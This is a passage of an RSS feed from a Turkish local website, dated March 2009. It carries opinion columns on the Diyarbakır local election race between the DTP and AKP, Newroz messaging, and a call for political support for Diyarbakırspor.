mesajlar verildi. DTP’liler Newroz’a yükledikleri anlam ve önemin de altını özellikle çizdiler.DTP’nin bu manada hazırladığı metinde Newroz’a yüklenen anlamı şu cümlelerden net bir şekilde anlamak mümkün. Yüklenen anlamı açıklayan cümleler şöyle; ‘’Halkımızın Newroz’da göstereceği görkemli duruş, 29 Mart seçimlerinde elde edilecek zaferle taçlanacaktır. Bu yıl kutlayacağımız Newroz’u sadece bayram olarak değil, halkın iradesine sahip çıkacağını göstereceği gün olarak görüyoruz. Bu nedenle Newroz, 29...</description><author>Admin</author><category>Okunma: 45</category><pubDate>18-Mar-2009 10:06:09</pubDate></item><item><title>RİCA-ÖNERİ-TEHDİT</title><link>http://www.silvanlilar.com/koseyazi-goster-6-rica_oneri_tehdit.html</link><description>RİCA-ÖNERİ-TEHDİT Diyarbakır Doğu ve Güneydoğuya hükmeden bir konumdadır. Gerek bölgeye hitap eden bazı kuruluşlarının merkezinin burada olması, gerek bölgeye uzanan yollarının göbeğinde olması ve Tarihsel konumu ve halkının ufkunun geniş ve tabiri caizse delikanlı bir halka sahip olması konumunu oldukça önemli hale getirmiştir. Bunun içindir ki tüm herkes Diyarbakır’ı kazanmak için çaba sarf etmektedirler. DTP Başkent olarak görür AKP’de ille de kazanmalıyım diyor. Bunun yanında bide seçimlerle ilgilenmeyen fakat hem AKP’nin hem de DTP’nin seçim mitinglerinden daha çok insan toplayan bir Mustazaf-Der var. Radikalleri oy kullanır mı sanmıyorum ama sempatizanları Saadet yada AKP’ye oy kullanacak gibi geliyor insana. Bu seçim diğer seçimlere oranla daha kritik görünüyor. Ve çıkacak sonucunun önemi daha da belirginleşmiştir. Çünkü seçimlerde DTP Diyarbakır Büyük Şehir Belediyesini kaybederse bölge üzerinde ki hâkimiyetini de kaybeder. Peki, böyle bir ihtimal var mı? Bence büyük bir ihtima...</description><author>Admin</author><category>Okunma: 64</category><pubDate>18-Mar-2009 09:49:55</pubDate></item><item><title>SEÇİM ÖNCESİ ÇÖZÜM PROJESİ DİYARBAKIRSPOR</title><link>http://www.silvanlilar.com/koseyazi-goster-5-secim_oncesi_cozum_projesi_diyarbakirspor.html</link><description> Kim, kimler, Nasıl yapar? Siyasetle buluşturalım mı Diyarbakırspor’u?. Bulaştırmadan buluşturmanın tam zamanı. Siyasiler arenada ve Diyarbakır’ın geleceği için nutuk atıyorlar. O zaman, Ortak değere ortak sahiplenmenin ve bu anlamda buluşmanın tam zamanı. Diyarbakır’ın sosyal ve ekonomik durumuna katkı sunacak bir fırsat önümüze düşmüş durumda. Şampiyonluk için zafer çanlarının ilki bana göre dün Kartal maçında çalmaya başladı. Diyarbakırspor bu galibiyetle puanını 46’ya çıkararak, ilk iki şansının olabileceğini gösterdi.Maddi sıkıntılar var.Giderilebilecek bir sıkıntı.Kısa zamanda bu sıkıntıyı giderip,Futbolcuların moral, motivasyonuna katkı sunmak gerekiyor.Bu saatten sonra Diyarbakırlı seçmenler olarak, iktidarda olan ve Diyarbakır’ın geleceği için bize vaatlerde bulunan AK Parti ve DTP’den, Belediyelerden sıkıntıları gidermeleri için talepte bulunuyoruz.Ortak değer için Ortak talep Ha ne dersiniz? Buraya kadar gelmişken neden kaçırılsın süper lig şansı. MEGA kent vaatlerinden yola...</description><author>Admin</author><category>Okunma: 48</category><pubDate>09-Mar-2009 17:25:13</pubDate></item></channel></rss>